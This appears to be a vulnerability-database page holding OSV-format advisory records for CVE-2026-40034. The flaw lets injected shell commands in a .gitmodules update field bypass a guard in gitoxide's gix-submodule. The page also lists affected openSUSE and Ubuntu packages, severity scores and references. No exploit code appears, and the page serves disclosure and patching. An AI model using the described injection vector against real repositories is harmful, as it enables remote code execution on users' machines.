"openSUSE Leap 16.0:stgit-2.6.0-bp160.1.1.x86_64",
"openSUSE Leap 16.0:stgit-bash-completion-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-emacs-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-fish-completion-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-vim-plugin-2.6.0-bp160.1.1.noarch",
"openSUSE Leap 16.0:stgit-zsh-completion-2.6.0-bp160.1.1.noarch"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-06-30T15:11:42Z",
"details": "important"
}
],
"title": "CVE-2026-40034"
}
]
}
ubuntu-cve-2026-40034
Vulnerability from osv_ubuntu
gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "librust-gix-dev",
"binary_version": "0.69.1-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:25.10",
"name": "rust-gix",
"purl": "pkg:deb/ubuntu/rust-gix@0.69.1-1?arch=source\u0026distro=questing"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.69.1-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "librust-gix-submodule-dev",
"binary_version": "0.16.0-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:25.10",
"name": "rust-gix-submodule",
"purl": "pkg:deb/ubuntu/rust-gix-submodule@0.16.0-1?arch=source\u0026distro=questing"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.16.0-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "librust-gix-dev",
"binary_version": "0.73.0-1build1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "rust-gix",
"purl": "pkg:deb/ubuntu/rust-gix@0.73.0-1build1?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.69.1-1",
"0.69.1-2",
"0.73.0-1",
"0.73.0-1build1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "librust-gix-submodule-dev",
"binary_version": "0.20.0-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "rust-gix-submodule",
"purl": "pkg:deb/ubuntu/rust-gix-submodule@0.20.0-1?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.16.0-1",
"0.20.0-1"
]
}
],
"aliases": [],
"details": "gix-submodule before 0.29.0 (gitoxide before 0.5.21, gix before 0.84.0) incorrectly validates the update field in .gitmodules, allowing attackers to bypass the CommandForbiddenInModulesConfiguration guard when a submodule has been initialized with only partial configuration in .git/config. An attacker can inject arbitrary shell commands via the update field in .gitmodules that will be executed when Submodule::update() is called on a previously-initialized submodule, enabling remote code execution.",
"id": "UBUNTU-CVE-2026-40034",
"modified": "2026-06-03T11:23:41Z",
"published": "2026-05-26T15:16:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-40034"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40034"
},
{
"type": "REPORT",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0"
},
{
"type": "REPORT",
"url": "https://github.com/GitoxideLabs/gitoxide/commit/dd5c18d9e526e8de462fa40aa047acd097cfa7dc"
},
{
"type": "REPORT",
"url": "https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-f26g-jm89-4g65"
},
{
"type": "REPORT",
"url": "https://red.anthropic.com/2026/cvd/findings/ANT-2026-6SNS6KMP"
},
{
"type": "REPORT",
"url": "https://www.vulncheck.com/advisories/gitoxide-command-injection-via-partial-gitmodules-override-in-gix-submodule"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-40034"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.